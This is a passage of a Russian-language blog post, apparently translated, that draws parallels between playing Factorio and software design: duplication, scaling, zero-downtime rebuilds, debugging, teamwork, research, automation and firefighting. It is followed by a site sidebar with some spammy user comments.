  • Принцип Не повторяйся (Dont Repeat Yourself, DRY). Один из таких способов снижение количества дублируемых элементов. Если нам нужен компонент, который требуется в нескольких местах, стоит ли создать его один раз и использовать повсюду, или копипастить по необходимости? Ответ всегда один это зависит от условий. Проектируя ПО, вы иногда используете библиотеку, а иногда копипастите. Это зависит от сложности компонента пару функций можно скопипастить, а что-то сложное, скорее всего, не стоит. Так и в Factorio определённый компонент (электронные схемы) производился в 4-5 местах. Я заменил их одним централизованным производственным массивом для упрощения структуры фабрики.
  • Масштабирование. В этой игре часто бывает так, что мы создаём производственный массив, а позже обнаруживаем, что необходимо повысить его производительность в 3-5 раз. Когда такое происходит первые несколько раз, для исправленя ситуации требуется полная переделка с нуля. Когда мы становимся умнее, то начинаем проектировать массивы с учётом пространства для масштабирования. Так же происходит и с ПО наши системы необходимо масштабировать под гораздо большее количество пользователей, иногда без каких-либо предупреждений. Мы проектируем наши системы, помня об этом.
  • Пересборка. При пересборке компонента в однопользовательской игре или личном программном проекте мы обычно не беспокоимся о кратковременной приостановке работы этого компонента или целой системы. Однако когда я играл в мультиплеер с друзьями, то пытался сделать так, чтобы компоненты, над которыми я работаю, ничего не ломали. Я создал новую нефтеперерабатывающую систему, перенёс новых потребителей на неё, и уже потом вывел из строя старую. Нулевое время простоя!
  • Отладка для поиска первопричины проблем. Наша фабрика далека от идеала, поэтому при добавлении новых элементов постоянно что-то ломается. Поиск первопричин таких проблем сложная задача, особенно когда их устранение приводит к другим проблемам. Вчерашний пример нам не хватало электричества, поэтому мы добавили больше котлов, но теперь нужно было исправить водопровод. Исчезла проблема с водой, но появились перебои с углём. Всё это отражает реальную жизнь
  • Командная работа. Большинство задач при наличии времени можно решить в одиночку. Но быстрее и интереснее работать с командой, которая тебе нравится. Можно двигаться скорее, разделяя ответственность по членам команды. У нас, среди прочих должностей, был один ответственный за нефть (я), ответственный за поезда, министр обороны. Другие не занимались тонкостями нефтепереработки, им важен только интерфейс, они используют выходные ресурсы и сообщают мне, если что-то ломается. То же самое происходит с крупными программными проектами все не могут знать тонкостей работы всей системы. Поэтому каждый изучает API всех компонентов, и только немногие отвечают за реализацию.
  • Исследование. БОльшую часть времени мы тратили на использование уже имеющегося знания, чтобы оставаться в точке локального максимума выработки. Однако один умный игрок потратил какое-то время на изучение новых техник. В нашей игре угольные электростанции нам не подходили, а от ядерной энергетики мы отказались из-за нехватки урановой руды. Я снова обратился к ней, когда нам отчаянно не хватало энергии и мы производили слишком сильное загрязнение. Оказалось, что при правильной реализации даже небольшого количества руды хватает на питание базы в течение 100 часов. То же самое и с ПО уже готовый стек может работать хорошо, но будет мудро посмотреть, какие ещё есть возможности, и учиться у других. В этом могут помочь и новые члены команды для них всё новое, поэтому они тратят на обучение больше времени, чем вы. Они могут обнаружить нечто, о чём вы не знаете, и использовать это знание для нахождения более высокого максимума. Свежий взгляд на ситуацию это всегда хорошо.
  • Автоматизация. Большинство задач можно выполнять вручную, просто это требует времени. Но если вы делаете что-то много раз, то это нужно автоматизировать. Игра мягко подталкивает вас к этой мысли, требуя автоматизации некоторых аспектов. Позже, когда вы разблокируете строительных роботов, всё становится лучше. Вы можете указать им схему спроектированного вами производственного массива, дать им материалы, и они построят всё за вас. Это напоминает мне AWS CloudFormation и похожие инструменты хоть мы и можем настраивать серверы вручную, быстрее и правильнее будет указать конечное состояние и позволить всё сделать инструменту за вас. Однако если вы разрабатываете ПО, то знаете, что автоматизация не только средство достижения цели, но и сама цель. Мы реализуем её, потому что это делает нас счастливее, даже если её становится слишком много и мы забываем, чем занимались изначально.
  • Тушим пожар. Иногда бывает слишком сложно реализовывать новые возможности, потому что мы отвлекаемся на устранение сигналов тревоги такое в командах разработки ПО происходит очень часто. Обычно в таком случае одному члену команды поручают решать проблемы, а другие продолжают работать над расширением возможностей. В игре происходит то же самое.

Но в первую очередь это игра о том, как справляться со сложностью. О том, как проектировать спецификацию и реализовывать системы, соответствующие этой спецификации. О поддержке и постепенном расширении этой системы.

Мне кажется, что игра в Factorio не сделает вас более умелым проектировщиком ПО. Но если вы проектируете ПО, то игра может показаться вам увлекательной. И наоборот если вы хорошо справляетесь с игрой, то вам определённо стоит попробовать себя в проектировании ПО.

Купить Factorio можно на официальном сайте или в Steam. Если вы хотите попробовать игру перед покупкой, то у неё есть бесплатное демо. (Только один совет не ждите распродажи. У этой игры никогда не было распродаж, а возможно и не будет.)



Благодарю Минеша Патела для вычитывание черновика и предложения по улучшению статьи.

Комментарии можно прочитать на Hacker News и на reddit.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru